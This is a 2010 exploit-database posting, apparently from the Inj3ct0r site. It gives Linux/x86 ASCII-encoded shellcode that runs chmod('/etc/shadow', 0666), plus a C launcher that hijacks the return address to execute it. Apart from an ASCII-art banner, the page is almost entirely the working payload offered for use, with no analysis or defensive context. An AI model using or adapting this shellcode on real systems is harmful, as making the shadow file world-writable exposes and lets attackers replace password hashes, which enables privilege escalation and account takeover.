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linux/x86 chmod("/etc/shadow", 0666) ASCII shellco

Posted on 16 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 chmod(&quot;/etc/shadow&quot;, 0666) ASCII shellcode 443 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==============================================================
linux/x86 chmod(&quot;/etc/shadow&quot;, 0666) ASCII shellcode 443 bytes
==============================================================


  /*
 | Title: Linux/x86 chmod(&quot;/etc/shadow&quot;, 0666) ASCII   Shellcode 443 Bytes

 | Type: Shellcode
 | Author: agix
 | Platform: Linux X86
*/ 

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ##################################                1
0                    I'm agix member from Inj3ct0r Team                1
1                    ##################################                0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#include &lt;stdio.h&gt;

char shellcode[] =
&quot;LLLLhHEY!X5HEY!&quot;
&quot;HZTYRRRPTURWa-5lmm-2QQQ-8AAAfhRRfZ0p&gt;0x?fh88fZ0p?fh  &quot;
&quot;fZ0pS0pH0p?fh55fZ0p@fhbbfZ0pA0pBfhyyfZ0pAfhwwfZ0pE0pB&quot;
&quot;fhDDfZ0pCfhddfZ0pU0pDfhzzfZ0pW0pDfhuufZ0pEfhhhfZ0pJ0p&quot;
&quot;FfhoofZ0pF0pMfhccfZ0pV0pGfhiifZ0pGfh//fZ0pL0pM0pHfhss&quot;
&quot;fZ0pIfhmmfZ0pIfhaafZ0pJfhHHfZ0pKfhnnfZ0pLfheefZ0pR0pN&quot;
&quot;0pOfhttfZ0pO0pN0xPfhVVfZ0pP0xQfh((fZ0pQfhPPfZ0pQfhfff&quot;
&quot;Z0pRfhFFfZ0pS0xSfhIIfZ0pTfhssfZ0pT0xTfhOOfZ0pV0xVfh22&quot;
&quot;fZ0pXfh  fZ0pX0xXfh@@fZ0pY0xY&quot;

&quot;c'est quoi ma note de secu ?&quot;;


int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&amp;ret + 2;
        (*ret) = (int) shellcode;
}


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